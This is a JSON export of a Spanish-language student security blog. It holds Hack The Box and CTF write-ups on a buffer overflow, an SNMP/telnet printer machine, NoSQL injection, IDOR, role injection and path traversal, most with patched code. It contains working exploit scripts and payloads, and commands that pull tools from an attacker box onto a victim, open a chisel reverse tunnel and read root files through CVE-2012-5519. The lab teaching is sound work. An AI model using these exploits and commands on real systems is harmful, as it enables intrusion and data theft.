[{"content":"","date":"21 febrero 2026","externalUrl":null,"permalink":"/blog/","section":"Blog","summary":"","title":"Blog","type":"blog"},{"content":"","date":"21 febrero 2026","externalUrl":null,"permalink":"/tags/buffer-overflows/","section":"Tags","summary":"","title":"Buffer-Overflows","type":"tags"},{"content":"","date":"21 febrero 2026","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":" Protecciones # Funciones # main # int main(void) { setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); name(); return 0; } En esta función solo vemos que se llama a la función name y ahí continua toda la ejecución.\nname # void name(void) { int iVar1; size_t sVar2; char answer [32]; while( true ) { puts(\u0026#34;Name a movie.\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); fgets(answer,0x40,stdin); sVar2 = strcspn(answer,\u0026#34;\\n\u0026#34;); answer[sVar2] = \u0026#39;\\0\u0026#39;; iVar1 = strcmp(answer,\u0026#34;Happy Gilmore\u0026#34;); if (iVar1 == 0) break; puts(\u0026#34;Not cinema.\u0026#34;); } puts(\u0026#34;Now that\\\u0026#39;s cinema.\u0026#34;); return; } win # void win(void) { int __c; FILE *__stream; int c; FILE *f; puts(\u0026#34;getittwisted:\u0026#34;); __stream = fopen(\u0026#34;flag\u0026#34;,\u0026#34;r\u0026#34;); while( true ) { __c = fgetc(__stream); if (__c == -1) break; putchar(__c); } putchar(10); return; } Análisis # Conociendo las funciones y las protecciones empezamos a analizar como romper el binario.\nLa vulnerabilidad la hayamos en la función name debido primero a que answer tiene un tamaño de buffer de 32 el cual es menor al buffer que posee el fgets el cual es de 64 lo que permite un stack buffer overflow.\nstrcmp # La otra parte de la vulnerabilidad es como funciona strcmp ya que este compara las dos cadenas hasta que encuentra un byte nulo lo que nos permite enviar explícitamente este byte y hacer que compare hasta ese punto haciendo que el resto del espacio del buffer nos permita decidir a que función saltar en este caso el win.\nExploit # Lo único que tenemos que hacer es enviar la cadena Happy Gilmore junto con un null byte esto ocupa 14 bytes normalmente tenemos que para sobreescribir el RIP que pasar por el RBP que son 8 bytes por lo que tenemos que saltar 32 bytes del buffer y 8 del registro lo que nos da 40 por lo que tenemos que hacer la resta 40-14 esto lo tenemos que llenar con cualquier cosa y justo después poner la dirección a la que queremos saltar en este caso el win.\nfrom pwn import * def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # (\u0026#39;server\u0026#39;, \u0026#39;port\u0026#39;) return remote(sys.argv[1], sys.argv[2], ssl=True, *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) gdbscript = \u0026#39;\u0026#39;\u0026#39; init-pwndbg continue \u0026#39;\u0026#39;\u0026#39;.format(**locals()) exe = \u0026#39;./egghead\u0026#39; elf = context.binary = ELF(exe, checksec=False) context.log_level = \u0026#39;info\u0026#39; p = start() win = elf.symbols[\u0026#39;win\u0026#39;] payload = b\u0026#39;Happy Gilmore\u0026#39; + b\u0026#39;\\x00\u0026#39; + b\u0026#39;A\u0026#39; * 26 + p64(win) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.interactive() ","date":"21 febrero 2026","externalUrl":null,"permalink":"/blog/eegheadbatmanskitchenctf/","section":"Blog","summary":"","title":"Eeghead - Batmans Kitchen CTF","type":"blog"},{"content":"","date":"21 febrero 2026","externalUrl":null,"permalink":"/tags/pwntools/","section":"Tags","summary":"","title":"Pwntools","type":"tags"},{"content":"Soy estudiante de Ingeniería de Sistemas en la Universidad Distrital Francisco José de Caldas, en Bogotá, Colombia. Actualmente curso el sexto semestre, con un fuerte interes en el Ethical Hacking.\nHabilidades # Ciberseguridad: Conocimiento en técnicas de penetración, análisis de vulnerabilidades y respuesta ante incidentes.\nProgramación: Competencia en lenguajes como Python y Bash para la automatización de tareas y desarrollo de herramientas.\nTrabajo en equipo: Experiencia en colaboración con grupos multidisciplinarios en proyectos de seguridad.\nProyectos Destacados # Meetups HTB # He colaborado en la organización y facilitación de meetups de Hack The Box, donde he:\nFacilitado sesiones de resolución de retos: Guiando a los participantes a través de desafíos prácticos, promoviendo el aprendizaje colaborativo.\nOrganizado eventos de networking: Fomentando la interacción entre profesionales y entusiastas de la ciberseguridad.\nPresentado temas especializados: Compartiendo conocimientos sobre técnicas y herramientas de seguridad.\nEstas experiencias me han permitido fortalecer mis habilidades de comunicación, liderazgo y trabajo en equipo.\nParticipación en Grupos # Gisac # Mi involucramiento con el Grupo de Intercambio de Seguridad y Ciberseguridad (Gisac) ha jugado un papel esencial en mi crecimiento profesional y personal. Desde que me uní a este grupo, he tenido la oportunidad de interactuar con una comunidad de personas apasionadas por la ciberseguridad, lo que ha enriquecido profundamente mis conocimientos y habilidades.\nAl compartir experiencias y conocimientos con los miembros de Gisac, he podido aprender de personas con diferentes niveles de experiencia, lo que ha fomentado mi desarrollo tanto en aspectos técnicos como en habilidades interpersonales. Esta interacción constante me ha permitido expandir mi perspectiva sobre el panorama de la seguridad informática, y fortalecer mi capacidad para abordar problemas complejos de forma colaborativa.\nUno de los aspectos más valiosos de mi participación ha sido asistir a diferentes eventos, como el JCUN 2024, que me brindaron la oportunidad de conectar con expertos en el campo y de participar en discusiones sobre las últimas tendencias en ciberseguridad. Estos eventos no solo han contribuido al aumento de mi base de conocimientos, sino que también me han permitido entender la importancia de la actualización constante en este campo tan dinámico.\n","date":"21 febrero 2026","externalUrl":null,"permalink":"/","section":"Santiago Chavarro","summary":"","title":"Santiago Chavarro","type":"page"},{"content":"","date":"21 febrero 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" Enumeración # Puertos TCP # nmap -p- --open --min-rate 2000 -sS -n -Pn -vvv -oG allPorts IP Host: 10.129.2.104 () Status: Up Host: 10.129.2.104 () Ports: 23/open/tcp//telnet/// Puertos UDP # nmap -sUVC -oG UDP 10.129.2.104 Host: 10.129.2.104 () Ports: 68/open|filtered/udp//dhcpc///, 161/open/udp//snmp//SNMPv1 server (public)/ Ignored State: closed (998) Los únicos dos servicios que hay abiertos es el puerto 23/TCP dedicado a Telnet y el 161/UDP dedicado a SNMP.\nTelnet # Al momento de tratar de conectarnos a telnet obtendremos el siguiente mensaje:\nHP JetDirect es un hardware tipo servidor que ofrece HP para que las impresoras sean accesible desde una red.\nSNMP # Nmap # Lo primero que trate de hacer fue enumerar con nmap y sus scripts pero no obtuve un resultado satisfactorio mas allá de unos security strings:\nnmap -sU -p 161 --script snmp* 10.129.3.243 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 21:07 -0500 Nmap scan report for 10.129.3.243 Host is up (0.099s latency). PORT STATE SERVICE 161/udp open snmp | snmp-brute: | \u0026lt;empty\u0026gt; - Valid credentials | cascade - Valid credentials | secret - Valid credentials | rmonmgmtuicommunity - Valid credentials | ANYCOM - Valid credentials | volition - Valid credentials | ILMI - Valid credentials | TENmanUFactOryPOWER - Valid credentials | MiniAP - Valid credentials | PRIVATE - Valid credentials | admin - Valid credentials | private - Valid credentials | public - Valid credentials | PUBLIC - Valid credentials | snmpd - Valid credentials | cisco - Valid credentials | mngt - Valid credentials |_ snmp-Trap - Valid credentials Nmap done: 1 IP address (1 host up) scanned in 20.90 seconds Metasploit # Después trate con Metasploit:\nCVE-2002-1048 # Finalmente busque en un navegador jetdirect snmp exploit y encontré un CVE que filtraba la contraseña que generalmente se usaba también en telnet, además encontré una PoC que ayudaba a realizar la explotación de esta vulnerabilidad.\nUsuario # Con el PoC encontrado y uno de los community strings que habíamos hallado vamos a ejecutar el ataque:\nE iniciamos sesión en telnet:\nPodemos ejecutar comandos de sistema por lo que podemos hacer una enumeración para hallar la forma de escalar privilegios.\nRoot # Luego de enumerar cosas básicas para escalar privilegios lo único encontrado es un servicio en escucha en el puerto 661:\nEn este caso como no tenemos ssh que es lo que normalmente uso para hacer un port forwarding vamos a aprender a usar chisel para esta misma labor.\nLo primero a tener en cuenta es que tenemos que tener el binario en ambas maquinas tanto la victima como la atacante:\n# Maquina atacante wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz gunzip chisel_1.11.3_linux_amd64.gz chmod +x chisel_1.11.3_linux_amd64 python3 -m http.server 80 # Maquina victima exec wget http://attack-box-ip:80/chisel_1.11.3_linux_amd64 exec chmod +x chisel_1.11.3_linux_amd64 # Maquina atacante ./chisel_1.11.3_linux_amd64 server --reverse --port 51234 # Maquina victima exec ./chisel_1.11.3_linux_amd64 client attack-box-ip:51234 R:601:127.0.0.1:601 Para ver el servicio entramos desde el navegador web:\nCVE-2012-5519 # Si buscamos el servicio y la versión podremos encontrar este CVE que permite la lectura de archivos con permisos elevados.\n# Maquina atacante wget https://raw.githubusercontent.com/p1ckzi/CVE-2012-5519/refs/heads/main/cups-root-file-read.sh python3 -m http.server 80 # Maquina victima exec wget http://attack-box-ip:80/cups-root-file-read.sh exec chmod +x cups-root-file-read.sh exec echo \u0026#34;/path/to/file\u0026#34; | ./cups-root-file-read.sh exec echo \u0026#34;/root/root.txt\u0026#34; | ./cups-root-file-read.sh Referencias # https://github.com/p1ckzi/CVE-2012-5519 https://notes.benheater.com/books/network-pivoting/page/port-forwarding-with-chisel https://4l3xbb.github.io/Cyb3rBook/002-PENTESTING/900-EXPLOITS/CVE-2002-1048 ","date":"12 febrero 2026","externalUrl":null,"permalink":"/htb/maquinas/antique/","section":"Hack The Box","summary":"","title":"Antique","type":"maquinas"},{"content":"","date":"12 febrero 2026","externalUrl":null,"permalink":"/tags/chisel/","section":"Tags","summary":"","title":"Chisel","type":"tags"},{"content":"","date":"12 febrero 2026","externalUrl":null,"permalink":"/htb/maquinas/","section":"Hack The Box","summary":"","title":"Máquinas","type":"htb"},{"content":"","date":"12 febrero 2026","externalUrl":null,"permalink":"/tags/port-forwarding/","section":"Tags","summary":"","title":"Port-Forwarding","type":"tags"},{"content":"","date":"12 febrero 2026","externalUrl":null,"permalink":"/tags/snmp/","section":"Tags","summary":"","title":"SNMP","type":"tags"},{"content":"","date":"12 febrero 2026","externalUrl":null,"permalink":"/tags/telnet/","section":"Tags","summary":"","title":"Telnet","type":"tags"},{"content":"","date":"27 noviembre 2025","externalUrl":null,"permalink":"/tags/idor/","section":"Tags","summary":"","title":"[IDOR","type":"tags"},{"content":" Análisis # La pagina lo único que tiene es un login, si tratamos de ingresar por ejemplo probando admin:admin no nos funcionara nada.\nRevisando el código nos damos cuenta de que esta usando una base de datos MongoDB:\nfrom flask import Flask, Blueprint, render_template, redirect, jsonify, request from flask_bcrypt import Bcrypt from pymongo import MongoClient app = Flask(__name__) app.config.from_object(\u0026#34;application.config.Config\u0026#34;) bcrypt = Bcrypt(app) client = MongoClient(app.config[\u0026#34;MONGO_URI\u0026#34;]) db = client[app.config[\u0026#34;DB_NAME\u0026#34;]] users_collection = db[\u0026#34;users\u0026#34;] Además tenemos un archivo llamado migration.py en el cual podemos ver que los correos y las contraseñas se generan aleatoriamente por lo que no pueden ser credenciales debiles.\n@app.route(\u0026#34;/login\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def login(): content_type = request.headers.get(\u0026#34;Content-Type\u0026#34;) if content_type == \u0026#34;application/x-www-form-urlencoded\u0026#34;: email = request.form.get(\u0026#34;email\u0026#34;) password = request.form.get(\u0026#34;password\u0026#34;) elif content_type == \u0026#34;application/json\u0026#34;: data = request.get_json() email = data.get(\u0026#34;email\u0026#34;) password = data.get(\u0026#34;password\u0026#34;) else: return jsonify({\u0026#34;error\u0026#34;: \u0026#34;Unsupported Content-Type\u0026#34;}), 400 user = users_collection.find_one({\u0026#34;email\u0026#34;: email, \u0026#34;password\u0026#34;: password}) if user: return render_template(\u0026#34;candy.html\u0026#34;, flag=open(\u0026#34;flag.txt\u0026#34;).read()) else: return redirect(\u0026#34;/\u0026#34;) Este código al usar la entrada del usuario directamente es vulnerable a hacer una inyección NoSQL, un ejemplo del código seguro sería así:\nfrom flask import request, render_template, redirect from werkzeug.security import check_password_hash import re def is_valid_email(email): return re.match(r\u0026#34;[^@]+@[^@]+\\.[^@]+\u0026#34;, email) is not None def login(): email = request.form.get(\u0026#39;email\u0026#39;) password = request.form.get(\u0026#39;password\u0026#39;) if not isinstance(email, str) or not is_valid_email(email): return redirect(\u0026#34;/\u0026#34;) if not isinstance(password, str) or len(password) == 0: return redirect(\u0026#34;/\u0026#34;) user = users_collection.find_one({\u0026#34;email\u0026#34;: email}) if user and check_password_hash(user[\u0026#39;password_hash\u0026#39;], password): return render_template(\u0026#34;candy.html\u0026#34;, flag=open(\u0026#34;flag.txt\u0026#34;).read()) else: return redirect(\u0026#34;/\u0026#34;) Exploit # En este punto cometí un error en su momento no me fije y no me di cuenta que admitía el formato json por lo que lo estaba haciendo con el url-encode por lo que las payloads que estaba pasando no estaban funcionando al final termine cambiando el formato y usando las payloads para json quedando de la siguiente forma:\nReferencias # https://swisskyrepo.github.io/PayloadsAllTheThings/NoSQL%20Injection/ ","date":"27 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/candyvault/","section":"Hack The Box","summary":"","title":"CandyVault","type":"challenges"},{"content":"","date":"27 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/","section":"Hack The Box","summary":"","title":"Challenges","type":"htb"},{"content":" Análisis # Exploit # if __name__ == \u0026#34;__main__\u0026#34;: username, password = random_string(8), random_string(8) register_user(username, password) cookies = login_user(username, password).cookies # flag sample is on messageId 3 response = get_messages(cookies, 3) match = re.search(r\u0026#39;HTB\\{.*?\\}\u0026#39;, response.text) if match: print(\u0026#34;Exploit success. Got the flag!\u0026#34;) print(match.group()) else: print(\u0026#34;Exploit failed. No flag found.\u0026#34;) Gracias al exploit que trae el reto nos damos cuenta de que se trata de una vulnerabilidad de tipo IDOR ya que simplemente con el id del mensaje podemos acceder a el aunque no seamos ni el que lo envió ni el que lo recibe.\nCódigo inseguro # // VULNERABLE: View specific message by ID (IDOR vulnerability) async function viewMessage(messageId) { try { // This endpoint doesn\u0026#39;t check if the user has permission to view this message const response = await fetch(getApiUrl(`/messages/${messageId}`)); const data = await response.json(); if (data.success) { showMessageDetail(data.message); // Check if this reveals sensitive information if (data.message.sender_id !== currentUser.id \u0026amp;\u0026amp; data.message.recipient_id !== currentUser.id \u0026amp;\u0026amp; data.message.recipient_id !== null) { // User accessed a message they shouldn\u0026#39;t have access to showError(\u0026#39;Unauthorized\u0026#39;); } } else { showError(\u0026#39;Message not found\u0026#39;); } } catch (error) { showError(\u0026#39;Failed to load message\u0026#39;); } } Los comentarios del código me imagino al ser un reto very easy nos dan una pista de donde esta la vulnerabilidad y el tipo, entonces revisamos el endpoint:\n// get message by ID router.get(\u0026#39;/:id\u0026#39;, requireAuth, (req, res) =\u0026gt; { const messageId = req.params.id; const userId = req.session.userId; // Proceed with order retrieval logic req.db.get(` SELECT m.*, sender.username as sender_username, sender.enclave as sender_enclave, recipient.username as recipient_username, recipient.enclave as recipient_enclave FROM messages m LEFT JOIN users sender ON m.sender_id = sender.id LEFT JOIN users recipient ON m.recipient_id = recipient.id WHERE m.id = ? `, [messageId], (err, message) =\u0026gt; { if (err || !message) { return res.status(404).json({ success: false, error: \u0026#39;Message not found\u0026#39; }); } res.json({ success: true, message: message }); }); }); Vemos que como nos comentaban no tiene una verificación para ver si el usuario que consulta el mensaje tiene permisos para hacerlo, no uso mucho JavaScript por lo que me puse a mirar alguna otra función que verificara esto para tratar de aplicarlo a este caso para eso use este trozo del código que nos avisaba si era vulnerable:\n// Check if this reveals sensitive information if (data.message.sender_id !== currentUser.id \u0026amp;\u0026amp; data.message.recipient_id !== currentUser.id \u0026amp;\u0026amp; data.message.recipient_id !== null) { // User accessed a message they shouldn\u0026#39;t have access to showError(\u0026#39;Unauthorized\u0026#39;); } Acá data es el mensaje que recibió por lo que podemos hacer la consulta con message.sender_id y message.recipient_id por lo que la condición para que pueda acceder a el mensaje sera que haya iniciado sesión y que sea o el que envió el mensaje o el que lo recibió.\nSolución # // get message by ID router.get(\u0026#39;/:id\u0026#39;, requireAuth, (req, res) =\u0026gt; { const messageId = req.params.id; const userId = req.session.userId; // Proceed with order retrieval logic req.db.get(` SELECT m.*, sender.username as sender_username, sender.enclave as sender_enclave, recipient.username as recipient_username, recipient.enclave as recipient_enclave FROM messages m LEFT JOIN users sender ON m.sender_id = sender.id LEFT JOIN users recipient ON m.recipient_id = recipient.id WHERE m.id = ? `, [messageId], (err, message) =\u0026gt; { if (err || !message) { return res.status(404).json({ success: false, error: \u0026#39;Message not found\u0026#39; }); } if (!userId || userId !== message.sender_id \u0026amp;\u0026amp; userId !== message.recipient_id){ return res.status(404).json({ success: false, error: \u0026#39;Message not found\u0026#39; }); } res.json({ success: true, message: message }); }); }); Referencias # https://www.verylazytech.com/idor https://medium.com/@nandansv1819/guarding-against-idor-protecting-your-applications-from-unauthorized-access-baac0f51c59c ","date":"27 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/commnet/","section":"Hack The Box","summary":"","title":"Commnet","type":"challenges"},{"content":"","date":"27 noviembre 2025","externalUrl":null,"permalink":"/tags/javasript/","section":"Tags","summary":"","title":"Javasript","type":"tags"},{"content":"","date":"27 noviembre 2025","externalUrl":null,"permalink":"/tags/mongodb/","section":"Tags","summary":"","title":"MongoDB","type":"tags"},{"content":"","date":"27 noviembre 2025","externalUrl":null,"permalink":"/tags/nosql-injection/","section":"Tags","summary":"","title":"NoSQL-Injection","type":"tags"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/coding/","section":"Tags","summary":"","title":"Coding","type":"tags"},{"content":" Análisis # El reto consiste en evaluar un polinomio dado, es decir, calcular el valor numérico del polinomio cuando se sustituye un valor específico en la variable xx. El polinomio está representado por una lista de coeficientes enteros, donde el índice de cada coeficiente corresponde al exponente de xx, por ejemplo, la lista $a0,a1,a2,…,a8$ representa el polinomio\n$P(x)=a_0+a_1x+a_2x^2+…+a_8x^8$\nPara evaluar el polinomio en un valor x, se calcula la suma de cada coeficiente multiplicado por x elevado a la potencia correspondiente al índice del coeficiente:\n$P(x)=∑_{i=1}^{8}a_ixi$\nCódigo # El objetivo de este reto es evaluar un polinomio de grado 8 en un punto xx dado. Los coeficientes del polinomio se reciben en una lista de 9 enteros, donde el primer coeficiente corresponde al término independiente (potencia 0), y cada coeficiente siguiente corresponde a un término de grado creciente en xx.\nPara resolverlo, se debe:\nLeer la lista de coeficientes. Leer el valor xx. Evaluar el polinomio sumando cada coeficiente multiplicado por xx elevado a la potencia de su índice. Imprimir el resultado. Este proceso sigue la definición matemática de evaluación de polinomios y tiene una complejidad temporal lineal respecto al número de coeficientes.\n# take in the number n = input() x = int(input()) # calculate answer n = n.split() print(n) r = 0 for i in range(9): sum = (int(n[i]) * (x ** i)) r = r + sum # print answer print(r) Referencias # https://usaco.guide/general/intro-cp?lang=cpp ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/evaluative/","section":"Hack The Box","summary":"","title":"Evaluative","type":"challenges"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/path-trasversal/","section":"Tags","summary":"","title":"Path-Trasversal","type":"tags"},{"content":" Análisis # Dado un patrón de PIN donde algunos dígitos son conocidos y otros están ocultos con \u0026ldquo;*\u0026rdquo;, se deben listar todos los posibles PINs que:\nCumplen con el patrón dado (los dígitos conocidos deben aparecer en sus posiciones fijas). No tienen dos dígitos iguales consecutivos (por ejemplo, \u0026ldquo;112\u0026rdquo; no es válido). Los dígitos en posiciones desconocidas (\u0026quot;*\u0026quot;) pueden ser cualquier número del 0 al 9, respetando la restricción anterior. La salida debe estar ordenada lexicográficamente. Este enfoque permite predecir posibles combinaciones válidas sin realizar un ataque de fuerza bruta directo al sistema, aprovechando la información parcial obtenida y evitando repetir intentos similares que podrían levantar sospechas.\nCódigo # n = input() def crearPin(n, pos = 0, caracterActual = \u0026#39;\u0026#39;): if(int(len(n)) == pos): print(caracterActual) return if(str(n[pos]) != \u0026#39;*\u0026#39;): if(pos == 0 or caracterActual[-1] != n[pos]): crearPin(n, pos+1, caracterActual + str(n[pos])) else: for i in range(10): if(pos == 0 or caracterActual[-1] != str(i)): crearPin(n, pos+1, caracterActual + str(i)) crearPin(n) Funcionamiento del código # La función crearPin es recursiva y va construyendo cada PIN candidato posición por posición. Si la posición actual ya tiene un dígito fijo (no es \u0026ldquo;*\u0026rdquo;), solo agrega ese dígito si no es igual al anterior en el PIN en construcción. Si la posición actual es \u0026ldquo;*\u0026rdquo;, prueba con cada dígito del 0 al 9, verificando que no sea igual al anterior para cumplir la política de seguridad. Cuando alcanza la longitud total del PIN, imprime la combinación generada. Detalles importantes del código # Parámetro pos indica la posición actual en el string que se está procesando. caracterActual es el PIN parcial construido hasta la posición anterior. La validación pos == 0 or caracterActual[-1] != n[pos] asegura que no haya dígitos consecutivos iguales. La función itera exhaustivamente solo en posiciones con \u0026ldquo;*\u0026rdquo;, generando todas las combinaciones válidas. Recursividad explicada paso a paso # Piensa en la tarea de construir un PIN como armarlo dígito por dígito. La función recorre el patrón del PIN desde el primer dígito (posición 0) hasta el último, y en cada llamada decide qué valor colocar en la posición actual:\nCaso base:\nCuando la función alcanza la última posición, significa que el PIN está completo. En ese momento, imprime el PIN construido. Es el punto donde la recursión termina. Caso recursivo: Para cada posición del PIN: Si el dígito es conocido (no es \u0026ldquo;*\u0026rdquo;), solo puede ponerse ese valor si no es igual al anterior. Si el dígito es desconocido (\u0026quot;*\u0026quot;), la función prueba todos los valores posibles (del 0 al 9), pero solo si no son iguales al anterior. En ambos casos, después de elegir el dígito, la función se llama nuevamente para colocar el siguiente dígito.\n¿Por qué la recursividad es útil aquí? # Permite explorar todas las combinaciones posibles de manera organizada. Elimina automáticamente PINs inválidos al aplicar las restricciones justo antes de expandir una rama nueva. Simplifica el código, evitando bucles anidados complejos. Referencias # https://stackoverflow.com/questions/2294493/how-to-get-the-position-of-a-character-in-python https://www.freecodecamp.org/espanol/news/python-lista-append-como-agregar-elementos-a-una-lista-explicado-con-ejemplos/ https://www.geeksforgeeks.org/python/python-string-find/ ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/pinsmith/","section":"Hack The Box","summary":"","title":"PINsmith","type":"challenges"},{"content":" Análisis # Código inseguro # En el código original tenemos una ruta de registro que acepta un username y un password desde req.body. Se usa esta información para crear un usuario con rol fijo \u0026lsquo;operator\u0026rsquo;.\n// Register router.post(\u0026#39;/register\u0026#39;, (req, res) =\u0026gt; { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ success: false, error: \u0026#39;Username and password required\u0026#39; }); } const success = addUser(username, password, \u0026#39;operator\u0026#39;); if (!success) { return res.status(400).json({ success: false, error: \u0026#39;Username already exists or registration failed\u0026#39; }); } Este código no valida ni sanitiza los datos de entrada correctamente. La función addUser recibe el username y password tal cual, lo que permite manipulación maliciosa.\nExploit # El exploit aprovecha precisamente esa falta de validación y sanitización. Se construye un payload especial con la siguiente estructura:\n{username}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\\n{username} Esta cadena concatena un nombre de usuario seguido de un hash y la palabra \u0026quot;admin\u0026quot;, con un salto de línea y otra vez el username. Cuando este payload se pasa al registro, el proceso de almacenamiento o autenticación interpreta la presencia del texto \u0026quot;admin\u0026quot; como un cambio directo de rol.\nLuego, tras el registro, se hace login con el username y password originales, y se obtiene acceso con rol administrativo, lo cual no debería ser permitido.\nLa idea del exploit es inyectar información en el campo de username para sobrescribir el rol y obtener permisos elevados sin autenticación válida.\nif __name__ == \u0026#34;__main__\u0026#34;: username = random_string(8) password = \u0026#34;CoolPassword17!\u0026#34; # password in hash format payload = \u0026#34;{}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\\n{}\u0026#34;.format(username, username) register_user(payload, password) # if register success, then we can login with the original username. Our role now should be admin after the injection. cookies = login_user(username, password).cookies response = get_admin_panel(cookies) if \u0026#34;powergrid - administrator control\u0026#34; in response.text.lower(): print(\u0026#34;Exploit success. Admin access obtained.\u0026#34;) print(\u0026#34;Login with username: {} and password: {}\u0026#34;.format(username, password)) else: print(\u0026#34;Exploit failed.\u0026#34;) Por qué sucede este fallo # El sistema no valida ni limita la estructura del username ni password y acepta cadenas arbitrarias. Tampoco usa escapes o parámetros seguros en la base de datos, permitiendo que la inyección de texto afecte el rol asignado.\nSolución # Para corregir el problema, el enfoque es validar estrictamente y sancionar el contenido de username y password. Se añadieron expresiones regulares para restringir caracteres permitidos y longitudes, evitando caracteres especiales que puedan servir para inyección.\nEjemplo de validación saneada:\n// Register router.post(\u0026#39;/register\u0026#39;, (req, res) =\u0026gt; { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ success: false, error: \u0026#39;Username and password required\u0026#39; }); } const usernameRegex = /^[a-zA-Z0-9_!@#$%^\u0026amp;*]{3,30}$/; if (!usernameRegex.test(username)) { return res.status(400).json({ success: false, error: \u0026#39;Username inválido\u0026#39; }); } const passwordRegex = /^[a-zA-Z0-9_!@#$%^\u0026amp;*]{3,30}$/; if (!passwordRegex.test(password)) { return res.status(400).json({ success: false, error: \u0026#39;Password inválido\u0026#39; }); } const success = addUser(username, password, \u0026#39;operator\u0026#39;); if (!success) { return res.status(400).json({ success: false, error: \u0026#39;Username already exists or registration failed\u0026#39; }); } Referencias # https://stackoverflow.com/questions/12090077/javascript-regular-expression-password-validation-having-special-characters ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/powergrid/","section":"Hack The Box","summary":"","title":"Powergrid","type":"challenges"},{"content":" Análisis # El reto consiste en interceptar una lista de números entre los que solo dos son primos auténticos y se utilizan como clave. El objetivo es identificar estos dos números primos dentro de la lista y encontrar su producto, que es la clave para resolver el caso. Esta tarea requiere filtrar la lista para detectar números primos y luego multiplicar los primeros dos encontrados.\nEl problema presenta que la mayoría de los números son irrelevantes (\u0026ldquo;basura\u0026rdquo;) y solo dos son valiosos porque son primos. La función clave es la prueba de primalidad, que debe ser correcta para no contar números no primos.\nCódigo # El código propuesto plantea:\nLeer una lista de números desde la entrada. Implementar una función primo(n) que determine de forma eficiente si un número es primo, evitando considerar 0 y 1 como primos. Recorrer la lista, verificar cuáles números son primos y guardar los dos primeros encontrados. Multiplicar esos dos números para obtener la clave. Imprimir el resultado. El código es sencillo y directo, implementando la verificación de números primos con una condición para descartar 0 y 1 y un ciclo para detectar divisores.\n# take in the number n = input() n = n.split() # calculate answer def primo(n): if(n == 0 or n ==1): return False for i in range(2,n): if(n%i == 0): return False return True pr = [] for i in range(len(n)): isthis = primo(int(n[i])) if(isthis == True): pr.append(n[i]) if(len(pr) == 2): break n = int(pr[0]) * int(pr[1]) # print answer print(n) Referencias # https://stackoverflow.com/questions/12614334/typeerror-bool-object-is-not-callable https://www.freecodecamp.org/espanol/news/la-funcion-length-en-python-como-averiguar-el-tamano-de-una-lista/ ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/primed-for-action/","section":"Hack The Box","summary":"","title":"Primed for Action","type":"challenges"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/python/","section":"Tags","summary":"","title":"Python","type":"tags"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/recursividad/","section":"Tags","summary":"","title":"Recursividad","type":"tags"},{"content":" Análisis # Exploit # El exploit realiza un ataque de path traversal usando una función de carga (upload) que acepta nombres de archivo arbitrarios (por ejemplo, \u0026quot;../static/js/{filename}\u0026quot;), permitiendo colocar archivos fuera del directorio seguro y acceder a ellos mediante rutas públicas del servidor. Así, al manipular el nombre del archivo en la carga y verificar si se encuentra disponible al solicitarlo, un atacante puede comprobar el éxito del ataque e identificar archivos subidos en ubicaciones accesibles desde el exterior.\nif __name__ == \u0026#39;__main__\u0026#39;: filename = generate_random_filename() content = random_string(20) response = upload_resource(f\u0026#34;../static/js/{filename}\u0026#34;, content) resources_url = f\u0026#34;{BASE_URL}/js/{filename}\u0026#34; response = get(resources_url) match = re.search(content, response.text) if match: print(f\u0026#34;Exploit success!\u0026#34;) print(f\u0026#34;Files uploaded on: {resources_url}\u0026#34;) else: print(f\u0026#34;Exploit failed!\u0026#34;) Código inseguro # El siguiente fragmento evidencia el problema:\ntry { const targetFilename = file.originalFilename; const targetPath = path.join(__dirname, \u0026#39;../resources\u0026#39;, targetFilename); fs.renameSync(file.filepath, targetPath); res.json({ success: true, message: \u0026#39;Resource uploaded successfully\u0026#39;, category: fields.category, priority: fields.priority, filename: targetFilename, path: targetPath }); } En este código, el nombre de archivo (targetFilename) proviene directamente de la entrada del usuario y se utiliza sin procesar al construir el path final, permitiendo la inclusión de secuencias como \u0026quot;../\u0026quot; para acceder a rutas externas y sobrescribir archivos sensibles del sistema. Además, no se verifica la extensión ni el formato del archivo, elevando el riesgo.​\nPor qué sucede este fallo # Falta validación en el nombre del archivo recibido y en la ruta generada. El uso directo de datos del usuario para construir rutas lo convierte en vulnerable a path traversal, permitiendo que archivos arbitrarios sean escritos en ubicaciones no autorizadas del servidor. No se aplican controles sobre la carpeta destino, extensión u otras propiedades mínimas de seguridad.\nSolución # El código corregido evita la vulnerabilidad utilizando path.basename para limpiar el nombre del archivo, eliminando cualquier intento de path traversal. Así, sólo se acepta la parte final del nombre y nunca se permite navegar fuera del directorio seguro.\ntry { const targetFilename = file.originalFilename; const targetFilenamePath = path.basename(targetFilename); const targetPath = path.join(__dirname, \u0026#39;../resources\u0026#39;, targetFilenamePath); fs.renameSync(file.filepath, targetPath); res.json({ success: true, message: \u0026#39;Resource uploaded successfully\u0026#39;, category: fields.category, priority: fields.priority, filename: targetFilename, path: targetPath }); } Referencias # 